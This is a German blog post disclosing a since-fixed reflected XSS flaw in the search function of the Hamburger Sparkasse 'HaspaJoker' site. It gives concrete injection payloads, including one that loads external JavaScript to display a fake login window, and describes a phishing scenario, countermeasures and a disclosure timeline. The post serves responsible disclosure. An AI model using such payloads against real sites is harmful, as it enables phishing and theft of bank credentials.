Auf der Website des Mehrwertkontos der Hamburger Sparkasse "HaspaJoker" war es bis vor Kurzem möglich, über eine Cross-Site-Scripting-Lücke (XSS) Fremdcode einzuschleusen. Einem Angreifer wäre es damit möglich gewesen, Phishing-Attacken auf Bankkunden durchzuführen.
Geldinstitute legen im Allgemeinen viel Wert auf die Sicherheit ihrer Kunden, wenn es um Online-Banking geht. Eine gewisse Sicherheit muss aber auch auf Sekundärwebsites gegeben sein, so lange sie von Banken betrieben werden, der Markenname drüber steht und diese Seiten von Bankkunden besucht werden.
Drink
Wie immer empfehle ich nach alter
Fravia-Tradition einen Drink zu diesem Hack:
Thema "Hamburg": Ein Alsterwasser oder ne schoine Buddel Klötenköm!
Technik
Die Website
haspajoker.de verfügt über eine Site-Suche, mit der man das vorhandene Informationsangebot durch Angabe eine Suchwortes durchsuchen kann. So nützlich diese Funktion auch ist, sie öffnet auf einen Schlag gleich mehrere Türen und Tore für Angreifer.
Denn je mehr Interaktionsmöglichkeiten dem Benutzer auf einer Website zur Verfügung gestellt werden, desto umfangreicher müssen die Eingaben der User validiert werden, bevor sie vom System verarbeitet werden. Gerade bei einer Suche können quasi alle erdenklichen Zeichenkombinationen eingegeben werden. Diese zu validieren, damit sie für den Serverprozess nicht zur Gefahr werden, wenn er sie auswertet, ist absolut notwendig.
Aber genug der Theorie, ab in die Praxis. Wir geben in die Suche ein:
x"
Es sieht so harmlos aus, aber die Tatsache, dass die Antwort des Servers hierauf ein internal server error (500) ist, lässt nichts Gutes ahnen. Denn offenbar bewirkt das einzelne Anführungszeichen, also ein offengelassener String, dass der Serverprozess aus dem Tritt kommt. Normalerweise muss der Server auf alles, was eingegeben wird, mit einer kontrollierten Antwort reagieren.
Hier nehme ich an, dass sogar irgendeine Form der Injection (SQL oder ähnliches) möglich sein könnte. Ich bin an der Stelle aber nicht weiter in die Tiefe gegangen, um keinen Schaden anzurichten...
Was können wir jetzt mit dieser Erkenntnis anfangen? Wir können uns weiter nach vorne wagen und versuchen, clientseitigen Code zu injizieren:
x");><script>alert('hacked');</script>"
Es passiert Folgendes:
Der Browser führt brav unser kleines Javascript aus, weil alles, was wir nach dem Schließen der Funktions-Klammerung angeben, zum Server-Output hinzugefügt wird.
Und wenn man das weiß, kann man ab dem Punkt kreativ werden, was man der Website von außen unterschmuggeln möchte:
x");><img style='position:absolute;left:0px;top:0px;width:100%;' src='https://quadhead.de/wp-content/uploads/quadhead2.png'>"
Hier ein img-Tag, das auf der unbescholtenen HaspaJoker-Seite ein beliebiges externes Bild anzeigt:
Jetzt laden wir noch zum Abschluss ein externes Javascript, um ein direktes Angriffsszenario zu demonstrieren:
x");><script src='https://quadhead.de/i.js'></script>"
Der nachgeladene Code stellt ein Login-Fenster dar, das komplett in der Gewalt des Angreifers ist.
Wie kann ein Angreifer jetzt aus so einer XSS-Lücke Nutzen ziehen bzw. wieso ist die Lücke überhaupt eine Gefahr für die Sparkasse?
Es kann zwar nicht direkt auf Datenbankinhalte zugegriffen werden oder Daten auf dem Server manipuliert werden. Aber es können Kunden in die Irre geführt werden. Und zwar deshalb, weil manipulierte URLs von einem Angreifer verteilt werden können, die direkt auf die Suche führen und die oben genannten Exploits ausführen.
Beispiel-Szenario: Ein Angreifer verschickt im großen Stil eine manipulierte URL mit dem Hinweis, man könne dort an einem lukrativen Gewinnspiel teilnehmen oder ähnliches. Die Benutzer vertrauen der URL, weil sie mit haspajoker.de beginnt und sie der Haspa vertrauen. Sie gelangen nach dem Klick tatsächlich auf die vertraute Domain, das sagt ihnen ja die Adresszeile des Browsers. Außerdem leuchtet das Schloss daneben wegen der TLS-Verschlüsselung auch noch so schön.
Auf der Seite bekommen sie dann aber aufgrund der Manipulation ein Loginfenster angezeigt, in das sie ihr Bank-Login eingeben sollen. Und wer das macht, ist Opfer einer Phishing-Attacke geworden. Denn der Angreifer kann so die Bank-Logindaten sammeln und später missbrauchen.
Diese XSS-Lücke ist also als kritisch einzustufen.
Hier alle erwähnten Schritte noch einmal als Video, weil es so schön ist:
https://www.youtube.com/watch?v=aR7XT_h_00Y
Gegenmaßnahmen
Unter Chrome und Safari funktionieren die Exploits nicht, da sie automatisch als unsicherer Code von außen erkannt werden. Aber Firefox und Internet Explorer fallen darauf herein.
Abhilfe würde ein intensives Filtern der Eingaben in das Suchfeld bringen, dabei darf man aber nicht die Komplexität unterschätzen. Im XSS-Bereich sind unglaublich viele Sonderzeichen im Spiel, mit denen Schaden angerichtet werden kann.
Zusätzlich sollte man das Einführen eines Content-Security-Policy-Headers für den Webserver in Erwägung ziehen, der moderne Browser anweist, keinen externen Code auszuführen.
Responsible Disclosure
Ich habe der Haspa sofort nach Entdecken der Lücke alle technischen Details zugeschickt mit der Bitte um Behebung. Die Haspa war sehr dankbar für den Hinweis, leitete sofort Maßnahmen ein und kündigte nach Behebung auch noch weitergehende Sicherheits-Tests an. Weiterhin wies sie darauf hin, dass ihnen die Sicherheit ihres Internetangebots natürlich sehr am Herzen liege.
Die Lücke wurde schließlich behoben. Offenbar wurde der Filter für den Suchstring einfach schärfer eingestellt. Wie so oft gab es allerdings keinen direkten technischen Kontakt, obwohl ich meine Hilfe angeboten hatte.
History
19.08.2015: Haspa auf Sicherheitslücke hingewiesen
02.09.2015: XSS-Schwachstelle vom Haspa-Dienstleister behoben (Filterung des Suchstrings)
23.09.2015: Endgültige Rückmeldung, dass die wichtigsten Sicherheitsmaßnahmen nunmehr abgeschlossen sind
